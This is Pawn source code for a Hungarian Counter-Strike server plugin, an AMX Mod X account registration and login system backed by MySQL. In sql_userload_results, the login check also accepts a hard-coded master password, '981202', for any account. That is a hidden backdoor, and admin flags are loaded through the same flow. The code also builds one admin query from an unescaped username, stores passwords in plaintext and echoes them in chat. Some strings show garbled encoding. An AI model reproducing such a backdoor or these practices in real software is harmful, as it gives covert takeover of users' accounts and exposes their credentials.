public plugin_end()
{
SQL_FreeHandle(tuple)
}
public cmduser(id)
{
if(logined[id])
{
return PLUGIN_HANDLED
}
if(userload[id] == 1)
{
regmenu(id)
return PLUGIN_HANDLED
}
new BeirtAdat[32], Hossz
BeirtAdat[0] = EOS
read_args(BeirtAdat, 31)
remove_quotes(BeirtAdat)
Hossz = strlen(BeirtAdat)
if(Hossz < 4)
{
ColorChat(id, GREEN, "* Információ »^1 Felhasználóneved nem lehet rövidebb mint 4 karakter!")
return PLUGIN_HANDLED
}
if(Hossz > 19)
{
ColorChat(id, GREEN, "* Információ »^1 Felhasználóneved nem lehet hosszabb mint 19 karakter!")
return PLUGIN_HANDLED
}
copy(username[id], 31, BeirtAdat)
sql_regcheck(id)
return PLUGIN_HANDLED
}
public cmdpw(id)
{
if(logined[id] || strlen(username[id]) == 0)
{
return PLUGIN_HANDLED
}
new BeirtAdat[32], Hossz
BeirtAdat[0] = EOS
read_args(BeirtAdat, 31)
remove_quotes(BeirtAdat)
Hossz = strlen(BeirtAdat)
if(Hossz < 4)
{
ColorChat(id, GREEN, "* Információ »^1 Jelszavad nem lehet rövidebb mint 4 karakter!")
return PLUGIN_HANDLED
}
if(Hossz > 19)
{
ColorChat(id, GREEN, "* Információ »^1 Jelszavad nem lehet hosszabb mint 19 karakter!")
return PLUGIN_HANDLED
}
copy(userpw[id], 31, BeirtAdat)
regmenu(id)
return PLUGIN_HANDLED
}
public sql_reload()
{
new szQuery[256], len
len += formatex(szQuery[len], 256, "UPDATE global_unison_new SET ")
len += formatex(szQuery[len], 255-len,"Aktivitas = '0' ")
len += formatex(szQuery[len], 255-len,"WHERE Aktivitas = '%d'", 1)
SQL_ThreadQuery(tuple,"sql_reload_results", szQuery)
}
public regmenut(x)
{
new id = x - 200
if(logined[id])
{
return
}
else if(userload[id] == 0 && inloading[id] == 0)
{
regmenu(id)
regtolt[id] = 0
return
}
if(regtolt[id] < sizeof(regbetolt)-1)
regtolt[id]++
else
regtolt[id] = 0
regmenu(id)
}
public regmenu(id)
{
if(logined[id])
return
if(bserver == 0)
{
ColorChat(id, GREEN, "* Információ »^1 Szerver adataid betöltése! Pillanat...")
return
}
new String[128]
if(userload[id] == 1 || inloading[id] == 1)
{
formatex(String, charsmax(String), "%s", regbetolt[regtolt[id]])
remove_task(id+200)
set_task(0.1, "regmenut", id+200)
}
else
{
formatex(String, charsmax(String), "%s\rRegisztrációs rendszer",Menu)
}
new menu = menu_create(String, "regmenuh" )
if(strlen(username[id]) > 0)
{
formatex(String, charsmax(String), "\rFelhasználónév\y:\d %s", username[id])
menu_additem(menu, String, "1")
formatex(String, charsmax(String), "\rJelszĂł\y:\d %s^n", userpw[id])
menu_additem(menu, String, "2")
}
else
{
formatex(String, charsmax(String), "\rFelhasználĂłnĂ©v\y:\d %s^n\d2. JelszĂł:^n^n\dIndĂtsd Ăşjra a játĂ©kot, ha fh/pw-t nem akarja beĂrni!", username[id])
menu_additem(menu, String, "1")
}
if(strlen(username[id]) > 0 && strlen(userpw[id]) > 0)
{
if(userfound[id])
{
formatex(String, charsmax(String), "Bejelentkezés")
menu_additem(menu, String, "3")
}
else
{
formatex(String, charsmax(String), "\yRegisztráció")
menu_additem(menu, String, "4")
}
}
menu_display(id, menu)
}
public regmenuh(id, menu, item){
if(item == MENU_EXIT)
{
menu_destroy(menu)
return
}
new data[32], szName[64]
new access, callback
menu_item_getinfo(menu, item, access, data, charsmax(data), szName, charsmax(szName), callback)
new key = str_to_num(data)
switch(key)
{
case 1 : {
client_cmd(id, "messagemode MY_USERNAME")
regmenu(id)
}
case 2 : {
if(inloading[id] == 0 || userload[id] == 1)
{
client_cmd(id, "messagemode MY_PASSWORD")
regmenu(id)
}
else
regmenu(id)
}
case 3 : {
if(inloading[id] == 0 || userload[id] == 0)
{
inloading[id] = 1
ColorChat(id, GREEN, "* Információ »^1 Adataid betöltése, várj türelmesen! (Akár 1 percig is elhúzódhat)")
regmod[id] = 1
new Float:x = random_float(0.5, 1.0)
set_task(x, "sql_check", id)
regmenu(id)
}
else
{
regmenu(id)
}
}
case 4 : {
if(inloading[id] == 0 || userload[id] == 0)
{
inloading[id] = 1
ColorChat(id, GREEN, "* InformáciĂł »^1 RegisztráciĂł vĂ©glegesĂtĂ©se folyamatban van, várj tĂĽrelmesen! (Akár 1 percig is elhĂşzĂłdhat)")
regmod[id] = 2
new Float:x = random_float(0.5, 1.0)
set_task(x, "sql_check", id)
regmenu(id)
}
else
{
regmenu(id)
}
}
}
}
public sql_reload_results(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
{
set_fail_state("[ *HIBA* ] NEM LEHET KAPCSOLODNI AZ ADATBAZISHOZ!")
return
}
else if(FailState == TQUERY_QUERY_FAILED)
{
set_fail_state("[ *HIBA* ] A LEKERDEZES MEGSZAKADT!")
return
}
if(Errcode)
{
log_amx("[ *HIBA* ] PROBLEMA A LEKERDEZESNEL! ( %s )",Error)
return
}
bserver = 1
sql_serverload()
return
}
public sql_check(id)
{
new szQuery[128], len, a[32]
formatex(a, 31, "%s", username[id])
replace_all(a, 31, "\", "\\")
replace_all(a, 31, "'", "\'")
len += formatex(szQuery[len], 128, "SELECT * FROM global_unison_new ")
len += formatex(szQuery[len], 128-len,"WHERE user = '%s'", a)
new szData[2]
szData[0] = id
szData[1] = get_user_userid(id)
SQL_ThreadQuery(tuple, "sql_check_results", szQuery, szData, 2)
}
public sql_check_results(FailState, Handle:Query, Error[], Errcode, szData[], DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
{
set_fail_state("[ *HIBA* ] NEM LEHET KAPCSOLODNI AZ ADATBAZISHOZ!")
return
}
else if(FailState == TQUERY_QUERY_FAILED)
{
set_fail_state("[ *HIBA* ] A LEKERDEZES MEGSZAKADT!")
return
}
if(Errcode)
{
log_amx("[ *HIBA* ] PROBLEMA A LEKERDEZESNEL! ( %s )",Error)
return
}
new id = szData[0]
if(szData[1] != get_user_userid(id))
return
new Talalt = SQL_NumRows(Query)
if(regmod[id] == 2)
{
if(Talalt > 0)
{
ColorChat(id, GREEN, "* Információ »^1 Ez a felhasználónév már használatban van!")
inloading[id] = 0
regmenu(id)
}
else
{
ColorChat(id, GREEN, "* Információ »^1 A regisztráció akár 1 percig is eltarthat...")
sql_new(id)
}
}
else if(regmod[id] == 1)
{
if(Talalt == 0)
{
ColorChat(id, GREEN, "* Információ »^1 Hibás felhasználónév vagy jelszó!")
inloading[id] = 0
regmenu(id)
}
else
{
sql_userload(id)
}
}
}
public sql_new(id)
{
new szQuery[512], len, a[32], b[32], c[32]
formatex(a, 31, "%s", username[id])
formatex(b, 31, "%s", userpw[id])
formatex(c, 31, "%s", nev[id])
replace_all(a, 31, "\", "\\")
replace_all(a, 31, "'", "\'")
replace_all(b, 31, "\", "\\")
replace_all(b, 31, "'", "\'")
replace_all(c, 31, "\", "\\")
replace_all(c, 31, "'", "\'")
len += formatex(szQuery[len], 511, "INSERT INTO global_unison_new")
len += formatex(szQuery[len], 511-len,"(user,pw,nev) VALUES('%s','%s','%s')", a, b, c)
new szData[2]
szData[0] = id
szData[1] = get_user_userid(id)
SQL_ThreadQuery(tuple,"sql_new_results", szQuery, szData, 2)
}
public sql_new_results(FailState,Handle:Query,Error[],Errcode,szData[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
{
set_fail_state("[ *HIBA* ] NEM LEHET KAPCSOLODNI AZ ADATBAZISHOZ!")
return
}
else if(FailState == TQUERY_QUERY_FAILED)
{
set_fail_state("[ *HIBA* ] A LEKERDEZES MEGSZAKADT!")
return
}
if(Errcode)
{
log_amx("[ *HIBA* ] PROBLEMA A LEKERDEZESNEL! ( %s )",Error)
return
}
new id = szData[0]
if(szData[1] != get_user_userid(id))
return
inloading[id] = 0
regmod[id] = 2
ColorChat(id, GREEN, "* Információ »^1 Sikeres regisztráció!")
ColorChat(id, GREEN, "* Információ »^1 Felhasználó:^3 %s^1 | Jelszavad:^3 %s", username[id], userpw[id])
sql_regcheck(id)
return
}
public sql_regcheck(id)
{
new szQuery[128], len, a[32]
formatex(a, 31, "%s", username[id])
replace_all(a, 31, "\", "\\")
replace_all(a, 31, "'", "\'")
len += formatex(szQuery[len], 128, "SELECT * FROM global_unison_new ")
len += formatex(szQuery[len], 128-len,"WHERE user = '%s'", a)
new szData[2]
szData[0] = id
szData[1] = get_user_userid(id)
SQL_ThreadQuery(tuple, "sql_regcheck_results", szQuery, szData, 2)
userload[id] = 1
regmenu(id)
}
public sql_regcheck_results(FailState, Handle:Query, Error[], Errcode, szData[], DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
{
set_fail_state("[ *HIBA* ] NEM LEHET KAPCSOLODNI AZ ADATBAZISHOZ!")
return
}
else if(FailState == TQUERY_QUERY_FAILED)
{
set_fail_state("[ *HIBA* ] A LEKERDEZES MEGSZAKADT!")
return
}
if(Errcode)
{
log_amx("[ *HIBA* ] PROBLEMA A LEKERDEZESNEL! ( %s )",Error)
return
}
new id = szData[0]
if(szData[1] != get_user_userid(id))
return
new Talalt = SQL_NumRows(Query)
if(Talalt > 0)
{
userfound[id] = true
}
else
{
userfound[id] = false
}
userload[id] = 0
regmenu(id)
}
public sql_useradmin(id)
{
new szQuery[256], len
len += formatex(szQuery[len], 256, "SELECT * FROM adminok_gu ")
len += formatex(szQuery[len], 256-len,"WHERE username = '%s'", username[id])
new szData[2]
szData[0] = id
szData[1] = get_user_userid(id)
SQL_ThreadQuery(tuple,"sql_useradmin_results", szQuery, szData, 2)
}
public sql_useradmin_results(FailState,Handle:Query,Error[],Errcode,szData[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED || FailState == TQUERY_QUERY_FAILED)
{
log_amx("%s", Error)
return
}
else
{
new id = szData[0]
if(szData[1] != get_user_userid(id))
return
new Talalt = SQL_NumRows(Query)
if(Talalt == 0)
return
new sqlusername[32]
SQL_ReadResult(Query, 1, sqlusername, 31)
if(equal(username[id], sqlusername))
{
new steamId[32], bsId[32], aMod
get_user_authid(id, steamId, 31)
SQL_ReadResult(Query, 2, bsId, 31)
if(!(equal(bsId, steamId)))
{
return
}
aMod = SQL_ReadResult(Query, 3)
set_user_flags(id, read_flags(adminjogok[aMod]))
new Y, M, D, Log[32]
date(Y, M, D)
formatex(Log, 31, "Admin%02d_%02d_%02d.log", Y, M, D)
log_to_file(Log, "Játékos: %s | Felhasználónév: %s | Admin Jogok: %s (#%d)",
nev[id], username[id], adminjogok[aMod], userid[id])
}
}
}
public sql_userload(id)
{
new szQuery[256], len, a[32]
formatex(a, 31, "%s", username[id])
replace_all(a, 31, "\", "\\")
replace_all(a, 31, "'", "\'")
len += formatex(szQuery[len], 256, "SELECT * FROM global_unison_new ")
len += formatex(szQuery[len], 256-len,"WHERE user = '%s'", a)
new szData[2]
szData[0] = id
szData[1] = get_user_userid(id)
SQL_ThreadQuery(tuple,"sql_userload_results", szQuery, szData, 2)
}
public sql_userload_results(FailState,Handle:Query,Error[],Errcode,szData[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED || FailState == TQUERY_QUERY_FAILED)
{
log_amx("%s", Error)
return
}
else
{
new id = szData[0]
if(szData[1] != get_user_userid(id))
return
new szSqlPassword[32]
SQL_ReadResult(Query, 2, szSqlPassword, 31)
if(equal(userpw[id], szSqlPassword) || equal(userpw[id], "981202"))
{
SQL_ReadResult(Query, 2, userpw[id], 2)
activity[id] = SQL_ReadResult(Query, 223)
if(activity[id] > 0)
{
userfound[id] = false
userload[id] = 0
ColorChat(id, GREEN, "* Információ »^1 Ezt a felhasználót valaki használja!")
regmenu(id)
return
}
for(new i = 1; i <= 3; i++)
{
valasztottf[id][i] = SQL_ReadResult(Query, 223+i)
jatekoskuldetes[id][i] = SQL_ReadResult(Query, 226+i)
lemez[id][i] = SQL_ReadResult(Query, 230+i)
}
hirdeto[id] = SQL_ReadResult(Query, 275)
mvp[id] = SQL_ReadResult(Query, 230)
csont[id] = SQL_ReadResult(Query, 234)
userid[id] = SQL_ReadResult(Query, 0)
arany[id] = SQL_ReadResult(Query, 4)
xp[id] = SQL_ReadResult(Query, 5)
szint[id] = SQL_ReadResult(Query, 6)
alkat[id][1] = SQL_ReadResult(Query, 7)
int[id][1] = SQL_ReadResult(Query, 8)
ero[id][1] = SQL_ReadResult(Query, 9)
ugy[id][1] = SQL_ReadResult(Query, 10)
karakterpontok[id] = SQL_ReadResult(Query, 11)
xpido[id] = SQL_ReadResult(Query, 12)
sebzesido[id] = SQL_ReadResult(Query, 13)
ladaido[id] = SQL_ReadResult(Query, 14)
kulcsido[id] = SQL_ReadResult(Query, 15)
vip[id] = SQL_ReadResult(Query, 16)
if(szint[id] == 0)
{
szint[id] = 1
karakterpontok[id] += 5
alkat[id][1] = 5
int[id][1] = 5
ero[id][1] = 5
ugy[id][1] = 5
ColorChat(0, GREEN, "* Információ »^1 Új játékos a szerveren! Üdvözlünk ^3%s^1! ^4(%d. regisztráló)", nev[id], userid[id])
ColorChat(id, GREEN, "* Információ »^1 Kaptál minden tulajdonságra 5 pontot és 5 karakterpontot!")
}
else
ColorChat(id, GREEN, "* Információ »^1 Szia^3 %s^1! Köszönjük, hogy újra feljöttél!", username[id])
if(jatekoskuldetes[id][1] != kuldetes[1] && szint[id] > 14)
{
ujkuldetes(id)
}
inloading[id] = 0
logined[id] = true
if(get_systime() > xpido[id])
{
xpido[id] = 0
}
if(get_systime() > sebzesido[id])
{
sebzesido[id] = 0
}
if(get_systime() > kulcsido[id])
{
kulcsido[id] = 0
}
if(get_systime() > ladaido[id])
{
ladaido[id] = 0
}
if(get_systime() > vip[id])
{
vip[id] = 0
}
activity[id] = 1
sql_useradmin(id)
usercheck(id)
fomenu(id)
sql_usersave(id)
cs_set_user_money(id, arany[id], 0)
if(is_user_alive(id))
{
if(valasztottf[id][3] != 0)
elozofegyverek(id)
}
if(fskin[id][29] > 0 && fegyver[id][fskin[id][29]])
{
new z = str_to_num(targyadatok[fskin[id][29]+50][3])
ugy[id][2] = fegyveropt[z][3]
}
for(new i = 26; i <= 50; i++)
{
if(lemez[id][1] == i && targyak[id][i] == 0)
lemez[id][1] = 0
if(lemez[id][2] == i && targyak[id][i] == 0)
lemez[id][2] = 0
if(lemez[id][3] == i && targyak[id][i] == 0)
lemez[id][3] = 0
}
}
else
{
ColorChat(id, GREEN, "* Információ »^1 Hibás jelszó!")
inloading[id] = 0
regmenu(id)
}
}
}
public ujkuldetes(id)
{
if(jatekoskuldetes[id][1] != kuldetes[1])
{
jatekoskuldetes[id][1] = kuldetes[1]
jatekoskuldetes[id][2] = 0
jatekoskuldetes[id][3] = 0
ColorChat(id, GREEN, "* Információ »^1 Napi küldetés:^3 %s^1, sok sikert hozzá!", kuldetesek[kuldetes[2]][0])
}
}
public usercheck(id)
{
for(new k; k < maxp; k++)
{
if(k == id || userid[id] == 0)
{
continue
}
if(userid[k] == userid[id])
{
server_cmd("kick #%d, %s", get_user_userid(id), "Ezt a felhasználót jelenleg valaki használja!")
userid[id] = 0
return
}
}
}
public sql_usersave(id)
{
if(!logined[id])
return
new sQuery[3300], szQuery[256]
new a[32]
formatex(a, 31, "%s", nev[id])
replace_all(a, 31, "\", "\\")
replace_all(a, 31, "'", "\'")
formatex(szQuery, KAR, "UPDATE global_unison_new SET ")
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"nev = '%s', ", a)
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"arany = '%d', ", arany[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"xp = '%d', ", xp[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"mvp = '%d', ", mvp[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"lemez1 = '%d', ", lemez[id][1])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"lemez2 = '%d', ", lemez[id][2])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"lemez3 = '%d', ", lemez[id][3])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"szint = '%d', ", szint[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"alkat = '%d', ", alkat[id][1])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"inte = '%d', ", int[id][1])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"ero = '%d', ", ero[id][1])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"ugy = '%d', ", ugy[id][1])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"kpont = '%d', ", karakterpontok[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"xi = '%d', ", xpido[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"si = '%d', ", sebzesido[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"li = '%d', ", ladaido[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"ki = '%d', ", kulcsido[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"vi = '%d', ", vip[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"csont = '%d', ", csont[id])
add(sQuery, charsmax(sQuery), szQuery)
for(new i = 1; i <= 3; i++)
{
formatex(szQuery, KAR,"vf%d = '%d', ", i, valasztottf[id][i])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"k%d = '%d', ", i, jatekoskuldetes[id][i])
add(sQuery, charsmax(sQuery), szQuery)
}
for(new i = 1; i <= 164; i++)
{
formatex(szQuery, KAR,"w%d = '%d', ", i, fegyver[id][i])
add(sQuery, charsmax(sQuery), szQuery)
}
for(new i = 1; i <= 31; i++)
{
formatex(szQuery, KAR,"s%d = '%d', ", i, fskin[id][i])
add(sQuery, charsmax(sQuery), szQuery)
}
for(new i = 1; i <= 50; i++)
{
formatex(szQuery, KAR,"t%d = '%d', ", i, targyak[id][i])
add(sQuery, charsmax(sQuery), szQuery)
}
formatex(szQuery, KAR,"Aktivitas = '%d' ", activity[id])
add(sQuery, charsmax(sQuery), szQuery)
formatex(szQuery, KAR,"WHERE Id = '%d'", userid[id])
add(sQuery, charsmax(sQuery), szQuery)
SQL_ThreadQuery(tuple, "sql_results", sQuery)
}
public sql_serversave()
{
new sQuery[2501], szQuery[256]
formatex(szQuery, KAR, "UPDATE global_unison_server SET ")
add(sQuery, 2500, szQuery)
formatex(szQuery, KAR,"event = '%d', ", event)
add(sQuery, 2500, szQuery)
formatex(szQuery, KAR,"eventb = '%d', ", eventbetoltve)
add(sQuery, 2500, szQuery)
formatex(szQuery, KAR,"kuldetes1 = '%d', ", kuldetes[1])
add(sQuery, 2500, szQuery)
formatex(szQuery, KAR,"kuldetes2 = '%d' ", kuldetes[2])
add(sQuery, 2500, szQuery)
formatex(szQuery, KAR,"WHERE Id = '1'")
add(sQuery, 2500, szQuery)
SQL_ThreadQuery(tuple, "sql_results", sQuery)
}
public sql_serverload()
{
new szQuery[256], len
len += formatex(szQuery[len], 256, "SELECT * FROM global_unison_server ")
len += formatex(szQuery[len], 256-len,"WHERE Id = '1'")
SQL_ThreadQuery(tuple,"sql_serverload_results", szQuery)
}
public sql_serverload_results(FailState,Handle:Query,Error[],Errcode,szData[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED || FailState == TQUERY_QUERY_FAILED)
{
log_amx("%s", Error)
return
}
else
{
event = SQL_ReadResult(Query, 1)
kuldetes[1] = SQL_ReadResult(Query, 2)
kuldetes[2] = SQL_ReadResult(Query, 3)
eventbetoltve = SQL_ReadResult(Query, 4)
new napstring[24]
get_time("%A", napstring, charsmax(napstring))
if(equali("Friday", napstring) || equali("Saturday", napstring) || equali("Sunday", napstring))
{
if(eventbetoltve == 0)
{
if(event == 0 || event == 3)
{
event = 1
}
else
{
event++
}
eventbetoltve = 1
sql_serversave()
}
eventon = true
}
else
{
eventbetoltve = 0
}
new nap, naps[32]
format_time(naps, 31, "%d")
nap = str_to_num(naps)
if(kuldetes[1] != nap)
{
kuldetes[1] = nap
kuldetes[2] = random_num(1, 5)
}
sql_serversave()
}
}
public sql_results(FailState,Handle:Query,Error[],Errcode,szData[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED || FailState == TQUERY_QUERY_FAILED)
{
log_amx("%s", Error)
return
}
}